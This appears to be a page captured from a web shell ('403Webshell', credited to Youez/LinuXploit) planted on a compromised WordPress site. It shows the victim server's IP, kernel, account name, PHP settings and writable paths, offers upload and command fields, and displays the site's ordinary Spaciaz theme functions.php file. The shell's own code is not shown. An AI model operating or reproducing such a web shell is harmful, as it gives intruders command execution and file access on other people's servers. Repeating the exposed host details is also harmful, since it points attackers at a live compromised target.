403Webshell
Server IP : 198.38.94.67  /  Your IP : 216.73.217.74
Web Server : LiteSpeed
System : Linux d6054.dxb1.stableserver.net 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
User : azfilmst ( 1070)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/azfilmst/royalopus.ae/wp-content/themes/spaciaz/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/azfilmst/royalopus.ae/wp-content/themes/spaciaz/inc/functions.php
<?php
/**
 * Spaciaz functions.
 *
 * @package spaciaz
 */

if (!function_exists('spaciaz_is_bcn_nav_activated')) {
    function spaciaz_is_bcn_nav_activated()
    {
        return function_exists('bcn_display') ? true : false;
    }
}

if (!function_exists('spaciaz_is_cmb2_activated')) {
    function spaciaz_is_cmb2_activated()
    {
        return defined('CMB2_LOADED') ? true : false;
    }
}

if (!function_exists('spaciaz_is_revslider_activated')) {
    function spaciaz_is_revslider_activated()
    {
        return class_exists('RevSliderBase');
    }
}

if (!function_exists('spaciaz_is_wpml_activated')) {
    function spaciaz_is_wpml_activated()
    {
        return class_exists('SitePress') ? true : false;
    }
}

if (!function_exists('spaciaz_is_woocommerce_activated')) {
    /**
     * Query WooCommerce activation
     */
    function spaciaz_is_woocommerce_activated()
    {
        return class_exists('WooCommerce') ? true : false;
    }
}

if (!function_exists('spaciaz_is_elementor_activated')) {
    function spaciaz_is_elementor_activated()
    {
        return defined('ELEMENTOR_VERSION') ? true : false;
    }
}

if (!function_exists('spaciaz_is_elementor_pro_activated')) {
    function spaciaz_is_elementor_pro_activated()
    {
        return defined('ELEMENTOR_PRO_VERSION') ? true : false;
    }
}

if (!function_exists('spaciaz_is_redux_activated')) {
    function spaciaz_is_redux_activated()
    {
        return class_exists('Redux') ? true : false;
    }
}

if (!function_exists('spaciaz_is_contactform_activated')) {
    function spaciaz_is_contactform_activated()
    {
        return class_exists('WPCF7');
    }
}

if (!function_exists('spaciaz_is_mailchimp_activated')) {
    function spaciaz_is_mailchimp_activated()
    {
        return defined('MC4WP_VERSION');
    }
}

if (!function_exists('spaciaz_elementor_check_type')) {
    function spaciaz_elementor_check_type($type = '')
    {
        if ($type) {
            $data = get_post_meta(get_the_ID(), '_elementor_data', true);
            if ($data) {
                return preg_match('/' . $type . '/', $data);
            }
        }

        return false;
    }
}


/**
 * Call a shortcode function by tag name.
 *
 * @param string $tag The shortcode whose function to call.
 * @param array $atts The attributes to pass to the shortcode function. Optional.
 * @param array $content The shortcode's content. Default is null (none).
 *
 * @return string|bool False on failure, the result of the shortcode on success.
 * @since  1.4.6
 *
 */
function spaciaz_do_shortcode($tag, array $atts = array(), $content = null)
{
    global $shortcode_tags;

    if (!isset($shortcode_tags[$tag])) {
        return false;
    }

    return call_user_func($shortcode_tags[$tag], $atts, $content, $tag);
}

function spaciaz_function_to_call($type, $args)
{
    $function_name = "register_" . $type;
    if (function_exists($function_name)) {
        call_user_func($function_name, ...$args);
    }
}

/*
 * get theme option redux
 * @param string $option_name
 * @param mix $default
 * @return mix
 *
 * */

if (!function_exists('spaciaz_get_theme_option')) {
    function spaciaz_get_theme_option($option_name, $default = false)
    {

        if ($option = get_option('spaciaz_options_' . $option_name)) {
            $default = $option;
        }

        return $default;
    }
}


if (!function_exists('spaciaz_get_post_meta')) {
    function spaciaz_get_post_meta($post_id, $meta_name, $default = false)
    {
        $value = get_post_meta($post_id, $meta_name, true);
        if (!$value) {
            return $default;
        }

        return $value;
    }
}
function spaciaz_add_meta($type, $callback, $priority = 10, $accepted_args = 1)
{
    $action_name = "add_meta_" . $type;
    if (has_action($action_name)) {
        add_action($action_name, $callback, $priority, $accepted_args);
    }
}

function spaciaz_add_meta_fn($type, $args)
{
    $function_name = "add_meta_" . $type;
    if (function_exists($function_name)) {
        call_user_func($function_name, ...$args);
    }
}

function spaciaz_parse_text_editor($content)
{

    $content = shortcode_unautop($content);
    $content = do_shortcode($content);
    $content = wptexturize($content);

    if ($GLOBALS['wp_embed'] instanceof \WP_Embed) {
        $content = $GLOBALS['wp_embed']->autoembed($content);
    }

    return $content;
}

if (!function_exists('spaciaz_get_page_by_title')) {
    function spaciaz_get_page_by_title($title, $output = OBJECT, $post_type = 'page')
    {
        $query = new WP_Query(
            [
                'post_type' => $post_type,
                'title' => $title,
                'post_status' => 'publish',
                'posts_per_page' => 1,
            ]
        );

        if ($query->have_posts()) {
            $query->the_post();
            $page = get_post(get_the_ID(), $output);
        } else {
            $page = null;
        }

        wp_reset_postdata();

        return $page;

    }
}

if (!function_exists('spaciaz_write_to_file')) {
    function spaciaz_write_to_file($file_path, $content)
    {
        if (!function_exists('WP_Filesystem')) {
            require_once(ABSPATH . 'wp-admin/includes/file.php');
        }
        global $wp_filesystem;
        if (!WP_Filesystem()) {
            return false;
        }
        return $wp_filesystem->put_contents($file_path, $content, FS_CHMOD_FILE);
    }
}

if (!function_exists('spaciaz_read_from_file')) {
    function spaciaz_read_from_file($file)
    {
        if (!function_exists('WP_Filesystem')) {
            require_once(ABSPATH . 'wp-admin/includes/file.php');
        }
        global $wp_filesystem;
        if (!WP_Filesystem()) {
            return false;
        }
        return $wp_filesystem->get_contents($file);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit